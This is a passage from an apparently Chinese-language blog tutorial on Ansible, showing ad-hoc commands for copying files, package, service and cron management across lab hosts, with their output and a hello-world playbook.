&#x6279;&#x91CF;&#x5904;&#x7406;&#x6587;&#x4EF6;</h4><p>&#x6BD4;&#x5982;&#x5C06;&#x672C;&#x673A;&#x7684;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x6279;&#x91CF;&#x590D;&#x5236;&#x5230;&#x6240;&#x6709;&#x4E3B;&#x673A;&#xFF0C;&#x4F7F;&#x7528; copy &#x547D;&#x4EE4;&#x6A21;&#x5757;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root@node1]$ </span><span class="language-bash">ansible myhosts -m copy -a <span class="string">&quot;src=/etc/ansible/hosts dest=/tmp/hosts&quot;</span></span></span><br><span class="line">node2 | CHANGED =&gt; {</span><br><span class="line">    &quot;ansible_facts&quot;: {</span><br><span class="line">        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;</span><br><span class="line">    },</span><br><span class="line">    &quot;changed&quot;: true,</span><br><span class="line">    &quot;checksum&quot;: &quot;c03a95124b63b489f76cc2a72ac72571f98290a5&quot;,</span><br><span class="line">    &quot;dest&quot;: &quot;/tmp/hosts&quot;,</span><br><span class="line">    &quot;gid&quot;: 0,</span><br><span class="line">    &quot;group&quot;: &quot;root&quot;,</span><br><span class="line">    &quot;md5sum&quot;: &quot;7402f43011c6b536aaf58fe8963fa843&quot;,</span><br><span class="line">    &quot;mode&quot;: &quot;0644&quot;,</span><br><span class="line">    &quot;owner&quot;: &quot;root&quot;,</span><br><span class="line">    &quot;secontext&quot;: &quot;unconfined_u:object_r:admin_home_t:s0&quot;,</span><br><span class="line">    &quot;size&quot;: 107,</span><br><span class="line">    &quot;src&quot;: &quot;/root/.ansible/tmp/ansible-tmp-1726336410.0496075-9635-157233006681802/source&quot;,</span><br><span class="line">    &quot;state&quot;: &quot;file&quot;,</span><br><span class="line">    &quot;uid&quot;: 0</span><br><span class="line">}</span><br><span class="line">node1 | CHANGED =&gt; {</span><br><span class="line">    &quot;ansible_facts&quot;: {</span><br><span class="line">        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;</span><br><span class="line">    },</span><br><span class="line">    &quot;changed&quot;: true,</span><br><span class="line">    &quot;checksum&quot;: &quot;c03a95124b63b489f76cc2a72ac72571f98290a5&quot;,</span><br><span class="line">    &quot;dest&quot;: &quot;/tmp/hosts&quot;,</span><br><span class="line">    &quot;gid&quot;: 0,</span><br><span class="line">    &quot;group&quot;: &quot;root&quot;,</span><br><span class="line">    &quot;md5sum&quot;: &quot;7402f43011c6b536aaf58fe8963fa843&quot;,</span><br><span class="line">    &quot;mode&quot;: &quot;0644&quot;,</span><br><span class="line">    &quot;owner&quot;: &quot;root&quot;,</span><br><span class="line">    &quot;secontext&quot;: &quot;unconfined_u:object_r:admin_home_t:s0&quot;,</span><br><span class="line">    &quot;size&quot;: 107,</span><br><span class="line">    &quot;src&quot;: &quot;/root/.ansible/tmp/ansible-tmp-1726336410.0473666-9634-77523772033960/source&quot;,</span><br><span class="line">    &quot;state&quot;: &quot;file&quot;,</span><br><span class="line">    &quot;uid&quot;: 0</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>&#x5982;&#x679C;&#x518D;&#x91CD;&#x590D;&#x6267;&#x884C;&#x4E00;&#x904D;&#xFF0C;&#x5E76;&#x4E0D;&#x4F1A;&#x518D;&#x6B21;&#x4F20;&#x8F93;&#x6587;&#x4EF6;&#xFF0C;&#x9664;&#x975E;&#x4E4B;&#x540E;&#x6587;&#x4EF6;&#x7684;&#x5185;&#x5BB9;&#x6539;&#x53D8;&#x4E86;&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x5176; checksum &#x4E5F;&#x53D8;&#x4E86;&#x3002;</p><p>&#x91CD;&#x590D;&#x6267;&#x884C;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4E0D;&#x518D;&#x662F; <code>CHANGED</code> &#x72B6;&#x6001;&#xFF0C;&#x800C;&#x662F; <code>SUCCESS</code>, <code>&quot;changed&quot;: false</code>&#x3002;</p><p>tips: <strong>ansible &#x6267;&#x884C;&#x4EFB;&#x52A1;&#x662F;&#x5E42;&#x7B49;&#x7684;&#xFF0C;&#x540C;&#x4E00;&#x4E2A;&#x64CD;&#x4F5C;&#x53EF;&#x4EE5;&#x91CD;&#x590D;&#x6267;&#x884C;&#xFF0C;&#x4E0D;&#x5F71;&#x54CD;&#x7ED3;&#x679C;&#x3002;</strong></p><p>&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x4E00;&#x4E0B;&#xFF0C;&#x4F7F;&#x7528; shell &#x547D;&#x4EE4;&#x6A21;&#x5757;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">[root@node1 ]$ ansible myhosts -m shell -a &apos;cat /tmp/hosts&apos;</span><br><span class="line">node2 | CHANGED | rc=0 &gt;&gt;</span><br><span class="line">myhosts:</span><br><span class="line">  hosts:</span><br><span class="line">    node1:</span><br><span class="line">      ansible_host: 172.31.89.117</span><br><span class="line">    node2:</span><br><span class="line">      ansible_host: 172.31.67.18</span><br><span class="line">node1 | CHANGED | rc=0 &gt;&gt;</span><br><span class="line">myhosts:</span><br><span class="line">  hosts:</span><br><span class="line">    node1:</span><br><span class="line">      ansible_host: 172.31.89.117</span><br><span class="line">    node2:</span><br><span class="line">      ansible_host: 172.31.67.18</span><br></pre></td></tr></table></figure><p>&#x4E5F;&#x53EF;&#x4EE5;&#x5220;&#x9664;&#x6389;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@node1 /home ]$ ansible myhosts -m shell -a &apos;rm /tmp/hosts&apos;</span><br><span class="line">node2 | CHANGED | rc=0 &gt;&gt;</span><br><span class="line"></span><br><span class="line">node1 | CHANGED | rc=0 &gt;&gt;</span><br></pre></td></tr></table></figure><p>rc = 0 &#x8868;&#x793A; shell &#x547D;&#x4EE4;&#x6267;&#x884C;&#x7ED3;&#x679C;&#x8FD4;&#x56DE;&#x503C;&#x4E3A; 0&#xFF0C;&#x6267;&#x884C;&#x6210;&#x529F;</p><h4 id="3-&#x6279;&#x91CF;&#x5305;&#x7BA1;&#x7406;">3. &#x6279;&#x91CF;&#x5305;&#x7BA1;&#x7406;</h4><p>ansible &#x6709;&#x4E13;&#x95E8;&#x7684;&#x5305;&#x7BA1;&#x7406;&#x6A21;&#x5757;&#xFF0C;&#x652F;&#x6301; apt, yum, dnf, dpkg&#xFF0C;&#x4EE5;&#x53CA;&#x5176;&#x5B83;&#x901A;&#x7528;&#x7684;&#x5305;&#x7BA1;&#x7406;&#x5668;&#x3002;</p><p>&#x5F53;&#x6211;&#x8981;&#x786E;&#x5B9A;&#x6BCF;&#x4E2A;&#x4E3B;&#x673A;&#x4E0A;&#x5DF2;&#x7ECF;&#x5B89;&#x88C5;&#x4E86;&#x67D0;&#x4E2A;&#x8F6F;&#x4EF6;&#x5305;&#xFF0C;&#x540C;&#x65F6;&#x4E0D;&#x60F3;&#x53BB;&#x5347;&#x7EA7;&#x5B83;&#x4EEC;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ansible myhosts -m yum -a &quot;name=python state=present&quot;</span><br></pre></td></tr></table></figure><p>&#x9884;&#x671F;&#x72B6;&#x6001; state &#x662F; present&#xFF0C;&#x6240;&#x4EE5;&#x5F53;&#x5B89;&#x88C5;&#x4E86;&#x8FD9;&#x4E2A;&#x5305;&#xFF0C;&#x5C31;&#x662F;&#x7B26;&#x5408;&#x9884;&#x671F;&#xFF0C;&#x8FD4;&#x56DE;&#x6210;&#x529F; SUCCESS&#x3002;</p><p>&#x5982;&#x679C;&#x8981;&#x786E;&#x8BA4;&#x4E00;&#x4E2A;&#x5305;&#x8FD8;&#x6CA1;&#x5B89;&#x88C5;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">[root@node1 ]$ ansible myhosts -m yum -a &quot;name=acme state=absent&quot;</span><br><span class="line">node2 | SUCCESS =&gt; {</span><br><span class="line">    &quot;ansible_facts&quot;: {</span><br><span class="line">        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;</span><br><span class="line">    },</span><br><span class="line">    &quot;changed&quot;: false,</span><br><span class="line">    &quot;msg&quot;: &quot;Nothing to do&quot;,</span><br><span class="line">    &quot;rc&quot;: 0,</span><br><span class="line">    &quot;results&quot;: []</span><br><span class="line">}</span><br><span class="line">node1 | SUCCESS =&gt; {</span><br><span class="line">    &quot;ansible_facts&quot;: {</span><br><span class="line">        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;</span><br><span class="line">    },</span><br><span class="line">    &quot;changed&quot;: false,</span><br><span class="line">    &quot;msg&quot;: &quot;Nothing to do&quot;,</span><br><span class="line">    &quot;rc&quot;: 0,</span><br><span class="line">    &quot;results&quot;: []</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>&#x56E0;&#x4E3A;&#x6CA1;&#x6709;&#x5B89;&#x88C5;&#xFF0C;&#x4E0E;&#x9884;&#x671F;&#x72B6;&#x6001; state=absent &#x76F8;&#x7B26;&#x5408;&#xFF0C;&#x6240;&#x4EE5;&#x4E5F;&#x8FD4;&#x56DE; SUCCESS&#x3002;</p><h4 id="4-&#x6279;&#x91CF;&#x7BA1;&#x7406;&#x670D;&#x52A1;">4. &#x6279;&#x91CF;&#x7BA1;&#x7406;&#x670D;&#x52A1;</h4><p>&#x5728; RHEL &#x7CFB;&#x7EDF;&#x91CC;&#xFF0C;&#x8FD9;&#x91CC;&#x7684;&#x670D;&#x52A1;&#x5305;&#x542B; systemd &#x670D;&#x52A1;&#xFF0C;init &#x670D;&#x52A1;&#x7B49;&#x3002;</p><p>&#x6BD4;&#x5982;&#x4FEE;&#x6539;&#x4E86;&#x7F51;&#x7EDC;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x540E;&#xFF0C;&#x9700;&#x8981;&#x786E;&#x8BA4;&#x7F51;&#x7EDC;&#x670D;&#x52A1;&#x5DF2;&#x7ECF;&#x91CD;&#x65B0; reload&#xFF0C;&#x52A0;&#x8F7D;&#x65B0;&#x7684;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x4E86;&#xFF0C;&#x5219;&#x6267;&#x884C;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[root@node1 ]$ ansible myhosts -m service -a &quot;name=NetworkManager state=reloaded&quot;</span><br><span class="line">node2 | CHANGED =&gt; {</span><br><span class="line">   &quot;ansible_facts&quot;: {</span><br><span class="line">       &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;</span><br><span class="line">   },</span><br><span class="line">   &quot;changed&quot;: true,</span><br><span class="line">   &quot;name&quot;: &quot;NetworkManager&quot;,</span><br><span class="line">   &quot;state&quot;: &quot;started&quot;,</span><br><span class="line"><span class="meta prompt_">   # </span><span class="language-bash">&#x8FD4;&#x56DE;&#x4FE1;&#x606F;&#x592A;&#x591A;&#x4E86;&#xFF0C;&#x5176;&#x5B83;&#x7684;&#x5C31;&#x4E0D;&#x663E;&#x793A;&#x4E86;</span></span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x76F8;&#x5F53;&#x4E8E;&#x5728;&#x6BCF;&#x4E2A;&#x4E3B;&#x673A;&#x4E0A;&#x6267;&#x884C;&#x4E86;&#x8FD9;&#x4E2A;&#x547D;&#x4EE4;&#xFF1A;<code>systemctl reload NetworkManager.service</code>&#x3002;&#x8FD9;&#x91CC;&#x7684; state &#x53EF;&#x4EE5;&#x662F; reloaded, restarted, started, stopped&#xFF0C;&#x5BF9;&#x5E94;&#x7740; systemd &#x670D;&#x52A1;&#x7684; reload, restart, start, stop &#x64CD;&#x4F5C;&#x3002;</p><h4 id="5-&#x6279;&#x91CF;&#x914D;&#x7F6E;-cron-&#x5B9A;&#x65F6;&#x4EFB;&#x52A1;">5. &#x6279;&#x91CF;&#x914D;&#x7F6E; cron &#x5B9A;&#x65F6;&#x4EFB;&#x52A1;</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root@node1]$ </span><span class="language-bash">ansible all -m cron -a <span class="string">&apos;name=&quot;ntp update every 5 min&quot; minute=*/5 job=&quot;/sbin/ntpdate 172.17.0.1 &amp;&gt; /dev/null&quot;&apos;</span></span></span><br><span class="line">node2 | CHANGED =&gt; {</span><br><span class="line">    &quot;ansible_facts&quot;: {</span><br><span class="line">        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;</span><br><span class="line">    },</span><br><span class="line">    &quot;changed&quot;: true,</span><br><span class="line">    &quot;envs&quot;: [],</span><br><span class="line">    &quot;jobs&quot;: [</span><br><span class="line">        &quot;ntp update every 5 min&quot;</span><br><span class="line">    ]</span><br><span class="line">}</span><br><span class="line">node1 | CHANGED =&gt; {</span><br><span class="line">    &quot;ansible_facts&quot;: {</span><br><span class="line">        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;</span><br><span class="line">    },</span><br><span class="line">    &quot;changed&quot;: true,</span><br><span class="line">    &quot;envs&quot;: [],</span><br><span class="line">    &quot;jobs&quot;: [</span><br><span class="line">        &quot;ntp update every 5 min&quot;</span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x91CC; <code>-a</code> &#x6307;&#x5B9A;&#x7684;&#x53C2;&#x6570;&#x6709; name, minute, job&#xFF0C;&#x5206;&#x522B;&#x662F;&#x4EFB;&#x52A1;&#x540D;&#x79F0;&#xFF0C;&#x4EFB;&#x52A1;&#x5B9A;&#x65F6;&#x5668;&#xFF0C;&#x4EFB;&#x52A1;&#x811A;&#x672C;&#x3002;</p><p>&#x7167;&#x4F8B;&#x67E5;&#x770B;&#x4E00;&#x4E0B;&#x8BBE;&#x7F6E;&#x7684;&#x4EFB;&#x52A1;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root@node1]$ </span><span class="language-bash">ansible myhosts -m shell -a <span class="string">&quot;crontab -l&quot;</span></span></span><br><span class="line">node2 | CHANGED | rc=0 &gt;&gt;</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">Ansible: ntp update every 5 min</span></span><br><span class="line">*/5 * * * * /sbin/ntpdate 172.17.0.1 &amp;&gt; /dev/null</span><br><span class="line">node1 | CHANGED | rc=0 &gt;&gt;</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">Ansible: ntp update every 5 min</span></span><br><span class="line">*/5 * * * * /sbin/ntpdate 172.17.0.1 &amp;&gt; /dev/null</span><br></pre></td></tr></table></figure><p>&#x4EE5;&#x4E0A;&#x90FD;&#x7528;&#x5230;&#x4E86; ansible &#x7684;&#x5185;&#x7F6E;&#x547D;&#x4EE4;&#x6A21;&#x5757;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code>ansible-doc</code> &#x547D;&#x4EE4;&#x67E5;&#x770B;&#x8FD9;&#x4E9B;&#x547D;&#x4EE4;&#x6A21;&#x5757;&#xFF1A;</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">ansible-doc -l    <span class="comment"># &#x83B7;&#x53D6;&#x5168;&#x90E8;&#x6A21;&#x5757;&#x7684;&#x4FE1;&#x606F;(&#x5305;&#x62EC;&#x5185;&#x7F6E;&#x7684;&#x548C;&#x7B2C;&#x4E09;&#x65B9;&#x7684;)</span></span><br><span class="line">ansible-doc -s MOD_NAME<span class="comment"># &#x83B7;&#x53D6;&#x6307;&#x5B9A;&#x6A21;&#x5757;&#x7684;&#x4F7F;&#x7528;&#x5E2E;&#x52A9;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># e.g.</span></span><br><span class="line">[root@node1]$ ansible-doc -s debug</span><br><span class="line">- name: Print statements during execution</span><br><span class="line">  debug:</span><br><span class="line">      msg:                   <span class="comment"># The customized message that is printed. If omitted, prints a generic message.</span></span><br><span class="line">      var:                   <span class="comment"># A variable name to debug. Mutually exclusive with the `msg&apos; option. Be aware that this</span></span><br><span class="line">                             <span class="comment"># option already runs in Jinja2 context and has an implicit</span></span><br><span class="line">                             <span class="comment"># `{{ }}&apos; wrapping, so you should not be using Jinja2</span></span><br><span class="line">                             <span class="comment"># delimiters unless you are looking for double interpolation.</span></span><br><span class="line">      verbosity:             <span class="comment"># A number that controls when the debug is run, if you set to 3 it will only run debug when</span></span><br><span class="line">                             <span class="comment"># -vvv or above.</span></span><br></pre></td></tr></table></figure><h3 id="2-playbook-&#x6587;&#x4EF6;">2. playbook &#x6587;&#x4EF6;</h3><h4 id="Playbook">Playbook</h4><p>inventory &#x6587;&#x4EF6;&#x6307;&#x5B9A;&#x4E86;&#x4E3B;&#x673A;&#x7684;&#x5404;&#x79CD;&#x914D;&#x7F6E;&#x4FE1;&#x606F;&#xFF0C;&#x786E;&#x5B9A;&#x4E86;&#x6BCF;&#x4E2A;&#x8282;&#x70B9;&#x7684;&#x89D2;&#x8272;&#x3002;&#x800C; playbook &#x6587;&#x4EF6;&#x5C31;&#x662F;&#x6307;&#x5B9A;&#x8981;&#x5728;&#x4E3B;&#x673A;&#x4E0A;&#x6267;&#x884C;&#x4EC0;&#x4E48;&#x6279;&#x91CF;&#x4EFB;&#x52A1;&#xFF0C;&#x6BD4;&#x5982;&#x5B89;&#x88C5;&#x96C6;&#x7FA4;&#xFF0C;&#x66F4;&#x65B0;&#x96C6;&#x7FA4;&#xFF0C;&#x5378;&#x8F7D;&#x96C6;&#x7FA4;&#x7B49;&#x7B49;&#xFF0C;&#x6216;&#x8005;&#x53EA;&#x662F;&#x6279;&#x91CF;&#x6267;&#x884C;&#x67D0;&#x4E2A;&#x547D;&#x4EE4;&#x3002;</p><p>&#x7B80;&#x5355;&#x8BB2;&#xFF0C;playbook &#x6587;&#x4EF6;&#x5C31;&#x662F;&#x4EFB;&#x52A1;&#x7F16;&#x6392;&#x6587;&#x4EF6;&#xFF0C;&#x53EF;&#x4EE5;&#x7C7B;&#x6BD4;&#x7406;&#x89E3;&#x4E3A; Docker &#x4E2D;&#x7684; Dockerfile &#x6587;&#x4EF6;&#x3002;</p><p>&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#xFF0C;&#x8981;&#x6267;&#x884C;&#x7684;&#x4EFB;&#x52A1;&#x5305;&#x542B;&#x4E00;&#x7CFB;&#x5217;&#x7684;&#x590D;&#x6742;&#x7684;&#x6B65;&#x9AA4;&#xFF0C;&#x5B83;&#x4EEC;&#x7EC4;&#x6210;&#x4E00;&#x7CFB;&#x5217;&#x4EFB;&#x52A1;(play)&#x3002;</p><h4 id="Play">Play</h4><p>playbook &#x6587;&#x4EF6;&#x4E2D;&#x7684;&#xFF0C;&#x7531;&#x4E00;&#x7CFB;&#x5217;&#x6309;&#x987A;&#x5E8F;&#x6392;&#x5217;&#x7684;&#x4EFB;&#x52A1;(task)&#x7EC4;&#x6210;&#x7684;&#x6709;&#x5E8F;&#x4EFB;&#x52A1;&#x5217;&#x8868;&#x3002;</p><h4 id="Task">Task</h4><p>&#x67D0;&#x4E2A;&#x4EFB;&#x52A1;&#x4E2D;&#xFF0C;&#x67D0;&#x9879;&#x5355;&#x72EC;&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x4E00;&#x822C;&#x901A;&#x8FC7;&#x4F7F;&#x7528; ansible &#x5B9A;&#x4E49;&#x7684;&#x67D0;&#x4E2A;&#x7684;&#x547D;&#x4EE4;&#x6A21;&#x5757;(module)&#x6765;&#x6267;&#x884C;&#x64CD;&#x4F5C;&#x3002;</p><h4 id="Module">Module</h4><p>&#x6A21;&#x5757;&#x5C31;&#x662F;&#x4E00;&#x4E9B;&#x547D;&#x4EE4;&#x6216;&#x8005;&#x53EF;&#x6267;&#x884C;&#x6587;&#x4EF6;&#x7684;&#x62BD;&#x8C61;&#xFF0C;&#x5728; Task &#x4E2D;&#x901A;&#x8FC7;&#x8C03;&#x7528;&#x67D0;&#x4E2A;&#x6A21;&#x5757;&#x6765;&#x6267;&#x884C;&#x5177;&#x4F53;&#x7684;&#x547D;&#x4EE4;&#x3002;</p><p>&#x4EE5;&#x4E0B;&#x662F;&#x4E00;&#x4E2A; playbook &#x6587;&#x4EF6;&#x7684;&#x793A;&#x4F8B;&#xFF1A;</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">My</span> <span class="string">first</span> <span class="string">play</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">myhosts</span></span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Ping</span> <span class="string">my</span> <span class="string">hosts</span></span><br><span class="line">      <span class="attr">ansible.builtin.ping:</span></span><br><span class="line"></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Print</span> <span class="string">message</span></span><br><span class="line">      <span class="attr">ansible.builtin.debug:</span></span><br><span class="line">        <span class="attr">msg:</span> <span class="string">Hello</span> <span class="string">world</span></span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x4E2A;&#x4E00;&#x4E2A; playbook &#x6587;&#x4EF6;&#xFF0C;&#x91CC;&#x9762;&#x5F88;&#x7B80;&#x5355;&#x53EA;&#x6709;&#x4E00;&#x4E2A; play&#xFF0C;&#x56E0;&#x4E3A;&#x53EA;&#x6709;&#x4E00;&#x4E2A; tasks&#xFF0C;&#x800C;&#x8FD9;&#x4E2A; tasks &#x5305;&#x542B;&#x4E24;&#x4E2A; task&#xFF1A;</p><p>&#x7B2C;&#x4E00;&#x4E2A; task &#x8C03;&#x7528;&#x4E86; ansible &#x5185;&#x7F6E;&#x7684; ping &#x547D;&#x4EE4;&#x6A21;&#x5757;&#xFF0C;&#x6267;&#x884C; ping &#x547D;&#x4EE4;&#x3002;</p><p>&#x53E6;&#x4E00;&#x4E2A; task &#x8C03;&#x7528;&#x4E86; ansible &#x5185;&#x7F6E;&#x7684; debug &#x547D;&#x4EE4;&#x6A21;&#x5757;&#xFF0C;&#x6253;&#x5370; debug &#x4FE1;&#x606F;&#xFF0C;&#x5C06;&#x6A21;&#x62DF; debug &#x4FE1;&#x606F;&#x4F20;&#x9012;&#x7ED9; msg &#x53D8;&#x91CF;&#x3002;</p><p>&#x6700;&#x540E;&#x6211;&#x4EEC;&#x7528; <code>ansible-playbook</code> &#x547D;&#x4EE4;&#x6267;&#x884C;&#x4E00;&#x4E0B;&#x8FD9;&#x4E2A; playbook&#x3002;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root@node1]# </span><span class="language-bash">ansible-playbook -i inventory.ini playbook.yml</span></span><br><span class="line"></span><br><span class="line">PLAY [My first play] ***********************************************************************************************************************************</span><br><span class="line"></span><br><span class="line">TASK [Gathering Facts] *********************************************************************************************************************************</span><br><span class="line">ok: [172.31.67.18]</span><br><span class="line">ok: [172.31.89.117]</span><br><span class="line"></span><br><span class="line">TASK [Ping my hosts] ***********************************************************************************************************************************</span><br><span class="line">ok: [172.31.67.18]</span><br><span class="line">ok: [172.31.89.117]</span><br><span class="line"></span><br><span class="line">TASK [Print message] ***********************************************************************************************************************************</span><br><span class="line">ok: [172.31.67.18] =&gt; {</span><br><span class="line">    &quot;msg&quot;: &quot;Hello world&quot;</span><br><span class="line">}</span><br><span class="line">ok: [172.31.89.117] =&gt; {</span><br><span class="line">    &quot;msg&quot;: &quot;Hello world&quot;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">PLAY RECAP *********************************************************************************************************************************************</span><br><span class="line">172.31.67.18               : ok=3    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0</span><br><span class="line">172.31.89.117              : ok=3    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0</span><br></pre></td></tr></table></figure><p>&#x5176;&#x4E2D; Gathering Facts &#x4EFB;&#x52A1;&#x662F;&#x9ED8;&#x8BA4;&#x6267;&#x884C;&#x7684;&#xFF0C;&#x5728;&#x5B9E;&#x9645;&#x4EFB;&#x52A1;&#x5F00;&#x59CB;&#x524D;&#x7528;&#x6765;&#x6536;&#x96C6;&#x4E3B;&#x673A;&#x7684;&#x4FE1;&#x606F;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x662F;&#x8BFB;&#x53D6; inventory.ini &#x6587;&#x4EF6;&#x3002;</p><p>&#x6700;&#x540E; PLAY RECAP &#x603B;&#x7ED3;&#x4E86;&#x672C;&#x6B21;&#x6267;&#x884C;&#x4EFB;&#x52A1;&#x7684;&#x603B;&#x4F53;&#x60C5;&#x51B5;&#xFF0C;&#x5B83;&#x4EEC;&#x90FD;&#x662F; ok &#x72B6;&#x6001;&#x7684;&#x3002;</p><p>&#x4EE5;&#x4E0A;&#x5C31;&#x5B8C;&#x6210;&#x4E86; ansible playbook &#x7684; hello world &#x8FC7;&#x7A0B;&#x3002;</p><h2 id="&#x5E38;&#x7528;&#x7684;-module">&#x5E38;&#x7528;&#x7684; module</h2><blockquote><p><a href="https://docs.ansible.com/ansible/latest/collections/ansible/builtin/index.html">https://docs.ansible.com/ansible/latest/collections/ansible/builtin/index.html</a></p></blockquote><h4 id="&#x5B50;&#x4EFB;&#x52A1;&#x7C7B;">&#x5B50;&#x4EFB;&#x52A1;&#x7C7B;</h4><p>ansible.builtin.import_playbook</p><p>ansible.builtin.include_role</p><p>ansible.builtin.include_tasks</p><p>ansible.builtin.import_tasks</p><h4 id="&#x547D;&#x4EE4;&#x7C7B;">&#x547D;&#x4EE4;&#x7C7B;</h4><p>ansible.builtin.shell</p><p>ansible.builtin.command</p><p>ansible.builtin.raw</p><p>ansible.builtin.script</p><p>ansible.builtin.win_shell</p><h4 